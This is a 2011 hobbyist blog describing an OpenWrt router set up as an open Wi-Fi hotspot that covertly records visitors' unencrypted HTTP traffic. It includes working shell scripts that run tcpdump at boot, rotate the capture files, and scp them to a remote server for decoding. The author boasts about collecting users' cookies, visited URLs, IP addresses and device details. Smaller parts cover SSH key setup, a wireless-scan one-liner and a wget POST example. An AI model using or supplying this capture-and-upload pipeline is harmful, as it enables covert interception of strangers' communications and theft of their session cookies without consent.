My eternal journey through packet capturing, wireless cracking and TCP/IP bending.

open-wrt, DD-wrt, shell scripts and other nice things.

Nov 26 2011

I haz all your packets, APPLE fanboyz.

Some files SCPed and ready to get inspected...

Also added today a reboot script (crontabbed it) every 6 hours. Somehow the TCPDump command hangs after some 20+ hours of operation, and it's a bit hard to debug. Could write to log file, but I prefer having clean working system anyways. Rebooting only takes ~30 seconds, so not a huge loss out of 6 hours (0.13% of "downtime" is manageable!)

To connect FROM router TO another machine /w script, make sure the pub key is in ~/.ssh/known_hosts and NOT .ssh/known_hosts (what a waste of time...). Thankfully, this file doesn't get wiped upon reboot.
And a very simple startup script

#!/bin/sh /etc/rc.common

START=99 #this is the order you want to load with init. had it at 50 and wouldn't work...

start() {
        mkdir -p /tmp/captures
        sh /scripts/scraper > /dev/null 2>&1 & #just a really long tcpdump command
        sh /scripts/manager > /dev/null 2>&1 & #check periodically if the files are getting too big, if so scp to PZI server
                                                              
}                                             
                                              
stop() {
        pkill tcpdump        
        rm /tmp/captures/*   
        echo "Deleted files in /tmp/captures folder, stopped tcpdump"
}                                                                    
                                                                     
boot(){                                                              
        start
}

OpenWrt now starting to actually do nasty stuff...

limited tcpdump to TCP port 80 traffic for now...

TOP LEFT : on the router, tmp folder, making sure files get gzipped properly, then SCPed then deleted right away (very limited space...)
TOP RIGHT : checking on PZI server to make sure all goes well, files piling up
BOTTOM LEFT : tcpdump command, reading packets from wireless interface, writing to tmp folder
BOTTOM RIGHT : manager script that looks for "full" files to rename, gzip, scp, gunzip on server, tcpdump -r and collect the garbage. Bash script below -

while [ "true" ]

do

  for i in 0 1 2 3 4
  do

    if [ -f /tmp/captures/capturefile$i ]
    then
       F=$(cat /tmp/captures/capturefile$i | wc -c)
       if [ $F -gt 1000000  ]
       then
         echo compressing, transferring file...
         #actually doing this on the PZI server now, wayyyyy faster and easier. took out -n for DNS name resolving.
         #tcpdump -XX -aer /tmp/captures/capturefile$i > /tmp/captures/tmptcpfile
         #echo "done reading"

         Q=$(date +"%Y%m%d%H%M%S")
         mv /tmp/captures/capturefile$i /tmp/captures/$Q
         gzip /tmp/captures/$Q
         echo "gzipped"

         echo "starting SCP"
         scp -i /etc/dropbear/dropbear_rsa_host_key /tmp/captures/$Q.gz lrochon@pzwart3.wdka.hro.nl:public_html/captures
         echo "SCP done"

         ssh -i /etc/dropbear/dropbear_rsa_host_key lrochon@pzwart3.wdka.hro.nl "cd public_html/captures; gunzip $Q.gz; tcpdump -XX -Aer $Q > _$Q; rm $Q; exit;"
         echo "sshed into pzi, done gunzip"

         rm /tmp/captures/$Q.gz
         echo "removed file"
       fi
     fi
  sleep 3
  echo waiting...
  done

Some data viz eye candy by Ryoji Lkeda

Today

Used the infamous AWK to create a nice 1-liner which formats the iwlist of wireless signals

sudo iwlist wlan0 scanning | awk -F '[ :=]+' '/Qual/ {printf $3 "\t";} /SSI/{printf $3} /WEP/{printf "WEP"} /SSI/{printf "\n"}' | ./order.sh

Turns out it comes on openWrt! woohoo - no need to install it...

Which basically pipes the result of "iwlist" (wireless scan) into awk, which cuts it up in pieces (split) on certain delimiters (:,=) and then checks for quality, SSID and if encryption is on, then orders upon those criteria - using another pipe into "order.sh" (below).

#!/bin/bash
declare -a ARRAY
exec 10<&0
let count=0

while read LINE; do
    ARRAY[$count]=$LINE
    ((count++))
done

#echo Number of elements: ${#ARRAY[@]}
readarray -t sorted < <(for a in "${ARRAY[@]}"; do echo "$a"; done | sort -g -r)
for a in "${sorted[@]}"; do echo "$a"; done
exec 0<&10 10<&-

Which results in something like this...

70/70	off	"FREE_PUBLIC_WIFI"
43/70	on	"singel162wgb"
30/70	on	"Singelsluis"
25/70	on	"Singel162wna"
24/70	on	"x00x00"
22/70	on	"Thomson0EEFA9"
22/70	on	"Sitecom6E2660"
21/70	on	"jackie"
20/70	on	"Techno"
14/70	on	"UPC0050484"
11/70	on	"REDTEX2"

Some discoveries from today

note to self : everything that I add in the /tmp folder of openWrt is WIPED OUT upon reboot.
1MB of raw packets scraped from tcpdump > ~300-400k after being read back into tcpdump (-r) > ~50-60K gzipped = PROFIT!
lsof is 1.5megs - fuser is 5K, but relies on Perl , which is 15Megs...pft. All this just to check on open files?

SSH into your router /w rsa keys

ssh-keygen -t dsa
scp ~/.ssh/id_dsa.pub root@192.168.1.1:/tmp
cd /etc/dropbear
cat /tmp/id_*.pub >> authorized_keys
chmod 0600 authorized_keys
ssh root@192.168.1.1

SSH <FROM> your router <INTO> another machine

dropbearkey -y -f /etc/dropbear_rsa_host_key | grep ssh-rsa > /tmp/dropbear_rsa_host_key.pub #this dropbear thingy is the magic part
#you might have to / or not add "root@$router_hostname" at the end of that file if it's missing
scp root@192.168.1.10:/tmp/dropbear_rsa_host_key.pub ~/.ssh/ #will ask for PW. copy the file onto machine you need to SSH into
cat /tmp/dropbear_rsa_host_key.pub >> ~/.ssh/authorized_keys # same thing here

and then you can ssh/scp back into your computer, another remote computer, another router, etc.

Some wget schtuff

wget -o /dev/null --post-data "var1=DFKSDFLSJFSLKJFS" http://www.YOURURL.com/file.php

Posting data to a webpage using wget! basically the --post-data is what makes it possible, and -o just suppresses output. fancy!

Nov 13 2011

The magic command to make the -C option work in TCPDUMP

tcpdump -w capturefile -C 1 -tt -v -s 0 -W 3

-C is millions of bytes, so 1 is a single MB
-W is rotate 3 files and start overwriting the #1 file if you've reached the limit. This maxes out to 3MB of packets, and avoid memory problems. I will probably make this even less in time.

Some stuff that I can see when you connect to my open network, and you're not SSLed

I can infer :

your ip address
website urls/addresses your are checking out
your cookies
the time/date of your connection
type of requests
a bunch of stuff about the sites/ips you are accessing (server type, charset, encoding, expiry of cached items, etc.)
your type of computer
your browser

Managed to revive a bricked router recently
Managed to brick another router I had working fine yesterday...meh.

openWrt shows me many nice things...

Just like your average linux box...but you have about 1000K free to operate things (on a classic WRT54GL anyways). Choose your packages wisely!

And it also sports a nice GUI, so I can monitor you in pink colors

The end for now

Hardware harvesting

New router /w USB connector on its way...

Got my hands on TWO WRT54G's to do some flashing, testing and whatnot. I can actually try to create an AP with one and then attempt to connect using the other...hmm. Also got a 50m ethernet cable to get things going.

And then one of these two devices would be talking to my Arduino hypothetically through my Ethernet Shield mounted onto the arduino
